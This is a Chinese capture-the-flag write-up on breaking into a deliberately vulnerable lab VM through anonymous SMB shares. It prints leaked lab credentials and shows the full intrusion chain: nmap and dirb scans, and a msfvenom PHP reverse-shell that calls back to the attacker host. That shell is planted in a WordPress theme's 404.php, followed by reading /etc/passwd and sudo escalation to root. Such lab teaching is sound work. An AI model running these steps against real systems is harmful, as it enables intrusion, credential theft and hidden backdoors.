CTF训练笔记(三)- SMB信息泄露

[CTF训练笔记系列 - 快速导航


目录

  • 一、环境搭建
    • 1.攻击机
    • 2.靶机
    • 3.网络配置
  • 二、SMB介绍
  • 三、信息收集
  • 四、信息探测
    • 1.挖掘开放服务信息
    • 2.挖掘隐藏敏感信息
      • 2.1尝试利用smb协议登录共享文件夹
      • 2.2打开各个共享文件夹查看具体内容
      • 2.3下载敏感文件寻找敏感信息
      • 2.4访问http服务并寻找隐藏起来的后台文件
    • 3.尝试各种手段登录服务器
      • 3.1尝试远程登录mysql数据库
      • 3.2尝试利用ssh协议
      • 3.3尝试利用smb协议的远程溢出漏洞
      • 3.4登录网站后台
    • 4.提权
      • 4.1制作反弹shell
      • 4.2攻击机启动监听
      • 4.3获取反弹shell
      • 4.4拿到root权限
    • 5.获取flag
  • 五、总结


一、环境搭建

1.攻击机

VMware环境下的kali linux虚拟机(本次渗透测试使用kali-linux-2020.4-vmware-amd64版本,初始用户名、密码均为:kali)

2.靶机

VMware环境下的SMB信息泄露虚拟机(链接: https://pan.baidu.com/s/1Wc0_nw1-kD97luSlSjeaFQ 提取码: jx1b)

3.网络配置

攻击机与靶机桥接于同一网卡上,便于查找靶机ip地址。【同笔记(一)】

二、SMB介绍

SMB(全称是Server Message Block)是一个协议名,它能被用于Web连接和客户端与服务器之间的信息沟通。Linux移植SMB后称之为samba。SMB协议是基于TCP-NETBIOS下的,一般端口使用为139,445。

三、信息收集

使用sudo指令登录root权限(需输入密码:kali)

sudo -s

获取靶机ip
在攻击机的终端中使用“ifconfig”指令获取攻击机的网络地址(此时靶机也在同一网段,因为刚才桥接在了同一网卡上),

ifconfig

利用得到的ip地址与子网掩码可构造网段:192.168.43.0/24作为参数,使用netdiscover工具搜索同一网段内所有主机(若主机较多则等待时间可能较长),

netdiscover -r 192.168.43.0/24

CTF训练笔记(三)- SMB信息泄露_第1张图片

结果如下,其中"VMware,Inc."一行即为靶机信息,靶机ip为192.168.43.111。
CTF训练笔记(三)- SMB信息泄露_第2张图片

四、信息探测

1.挖掘开放服务信息

使用nmap工具扫描靶机所有开放端口

nmap -sV 192.168.43.111
//也可使用 nmap -A -v -T4 192.168.43.111 探测更详细的信息

CTF训练笔记(三)- SMB信息泄露_第3张图片
Ⅰ.发现靶机开放了22端口的ssh服务,于是想到:
①是否有私钥泄露?
②能否找到私钥的用户名?
③束手无策时考虑暴力破解密码;

Ⅱ.发现靶机开放了80端口的http服务,于是想到:
①尝试直接用浏览器访问靶机开放了http服务的端口;
②使用dirb工具探测http的目录;

Ⅲ.发现靶机开放了139端口、445端口的SMB服务,于是想到:
①尝试使用空口令登录共享文件夹,如成功则查看并下载敏感文件;
②针对SMB协议远程溢出漏洞进行分析;

Ⅳ.发现靶机开放了3306端口的mysql服务,于是想到:
①尝试寻找可用于远程访问mysql数据库的用户名和对应密码;

Ⅴ.发现靶机开放了6667端口的irc服务,这是一个中继聊天服务,本次渗透测试中无需用到。

2.挖掘隐藏敏感信息

2.1尝试利用smb协议登录共享文件夹

查看smb服务器端所分享出来的所有资源

smbclient -L 192.168.43.111

要求输入密码,尝试空密码(直接回车),成功登录共享文件夹。
CTF训练笔记(三)- SMB信息泄露_第4张图片

2.2打开各个共享文件夹查看具体内容

smbclient '\\192.168.43.111\print$'
smbclient '\\192.168.43.111\IPC$'
smbclient '\\192.168.43.111\share$'

CTF训练笔记(三)- SMB信息泄露_第5张图片
其中,print文件夹密码为空但无访问权限,IPC文件夹密码为空可访问但无内容,share文件夹密码为空可访问且存在大量文件。

2.3下载敏感文件寻找敏感信息

Ⅰ.敏感文件1(config配置文件)
配置文件中可能存在用户名和密码。
下载:

cd wordpress
ls
get wp-config.php

CTF训练笔记(三)- SMB信息泄露_第6张图片
另外启动一个终端查看文件内容:

cat wp-config.php

CTF训练笔记(三)- SMB信息泄露_第7张图片
得到了一个数据库用户和对应密码!

Ⅱ.敏感文件2
下载:

cd ..
ls
get deets.txt

CTF训练笔记(三)- SMB信息泄露_第8张图片
另外启动一个终端查看文件内容:

cat deets.txt

CTF训练笔记(三)- SMB信息泄露_第9张图片
得到了一个默认密码!

Ⅲ.其他文件和文件夹内无敏感信息。

2.4访问http服务并寻找隐藏起来的后台文件

使用dirb工具探测此服务的隐藏文件

dirb http://192.168.43.111:80/

CTF训练笔记(三)- SMB信息泄露_第10张图片
除wordpress外无有效信息,访问http://192.168.43.111/wordpress/得
CTF训练笔记(三)- SMB信息泄露_第11张图片
得到一个关键名字 togie!

3.尝试各种手段登录服务器

3.1尝试远程登录mysql数据库

mysql -h 192.168.43.111 -u Admin -p

输入密码:TogieMYSQL12345^^,
在这里插入图片描述
可惜攻击机无访问权限,另谋他法。

3.2尝试利用ssh协议

ssh Admin@192.168.43.111

尝试输入密码,TogieMYSQL12345^^,错误;12345,错误,无法远程访问服务器,另谋他法。
CTF训练笔记(三)- SMB信息泄露_第12张图片

3.3尝试利用smb协议的远程溢出漏洞

先确定smb版本,

nmap -A -v -T4 192.168.43.111

在这里插入图片描述
再查看是否有远程溢出漏洞,

searchsploit Samba smbd 3.X - 4.X
searchsploit Samba smbd 4.3.11-Ubuntu

CTF训练笔记(三)- SMB信息泄露_第13张图片
很可惜也没有相关漏洞,如有则可以直接利用。

3.4登录网站后台

经过刚才的信息收集(2.4),发现该靶机服务器开放访问的网站是由WordPress程序建立的,而使用WordPress搭建的网站登录后台均为:网站域名/wp-admin,故浏览器访问:“http://192.168.43.111:80/wordpress/wp-admin/”,得:
CTF训练笔记(三)- SMB信息泄露_第14张图片
输入用户名:"Admin"和密码:“TogieMYSQL12345^^”,登录成功!
CTF训练笔记(三)- SMB信息泄露_第15张图片

4.提权

4.1制作反弹shell

可以使用msfvenom工具来生成反弹shell,

//lhost设置为攻击机ip,lport设置为攻击机空闲端口
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.43.94 lport=4444 -f raw

CTF训练笔记(三)- SMB信息泄露_第16张图片
将生成的代码从注释符后开始选取并复制到某个php文件中即可。
在这里插入图片描述
CTF训练笔记(三)- SMB信息泄露_第17张图片

4.2攻击机启动监听

msfconsole  //打开metasploit工具的控制台
//使用msf工具的侦听模块exploit/multi/handler
msf6 > use exploit/multi/handler

//设置挂载。可用于监听基于TCP协议的反向链接反弹shell, 使用起来很稳定
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp

//填入攻击机ip
msf6 exploit(multi/handler) > set lhost 192.168.43.94
//查看挂载配置
msf6 exploit(multi/handler) > show options

CTF训练笔记(三)- SMB信息泄露_第18张图片
其中监听端口LPORT:4444为默认配置,此处监听端口配置需要与(4.1制作反弹shell)中反弹shell的php脚本中的设定一致。

//运行挂载
msf6 exploit(multi/handler) > run

在这里插入图片描述

4.3获取反弹shell

上传反弹shell脚本至服务器后台,执行脚本(即访问脚本所在的php页面)。

①上传反弹shell脚本至服务器后台:

CTF训练笔记(三)- SMB信息泄露_第19张图片
CTF训练笔记(三)- SMB信息泄露_第20张图片
用脚本代码替换原来的404处理代码并上传:

CTF训练笔记(三)- SMB信息泄露_第21张图片
②访问脚本所在的php页面:

观察当前页面URL:

http://192.168.43.111/wordpress/wp-admin/theme-editor.php?file=404.php&theme=twentyfifteen&scrollto=0

可知:
当前网站的404模板文件属于twentyfifteen主题模板,而使用WordPress搭建的网站中404模板文件的位置为“wordpress/wp-content/themes/当前使用的主题模板/404.php”,故访问404.php页面的URL为:

http://192.168.43.111/wordpress/wp-content/themes/twentyfifteen/404.php

访问上述URL,成功get到反弹shell。
在这里插入图片描述

4.4拿到root权限

①拿到shell并进行预处理

shell
id
python -c "import pty; pty.spawn('/bin/bash')"

虽然拿到了反弹shell,但此时登录的用户不具有root权限。并且此时界面与通常的命令行格式有所不同,很不习惯,也不利于回顾之前的操作,于是需要优化终端
CTF训练笔记(三)- SMB信息泄露_第22张图片
②切换用户
查看本机所有用户:

cat /etc/passwd

CTF训练笔记(三)- SMB信息泄露_第23张图片
经过审计,发现了一个熟悉的用户名——“togie”,并且发现该用户位于home目录下,遂尝试登录该用户(密码尝试使用【步骤2.3】找到的默认密码:12345)。

su togie

在这里插入图片描述
登录成功!
③提权

sudo su

在这里插入图片描述
成功提升到root权限!

Ps.有时执行“sudo su ”指令需要输入密码:12345

5.获取flag

一般情况下,ctf比赛中包含flag的文件在root目录下。
CTF训练笔记(三)- SMB信息泄露_第24张图片
打开proof.txt文件:
CTF训练笔记(三)- SMB信息泄露_第25张图片
成功获取到flag!
(话说我这个靶机的flag文件和别人好像不太一样啊。。。ヾ(。 ̄□ ̄)ツ゜゜゜)


五、总结

大量搜索各种信息,尝试利用各种途径拿到shell进而提权。

你可能感兴趣的:(CTF笔记,渗透测试)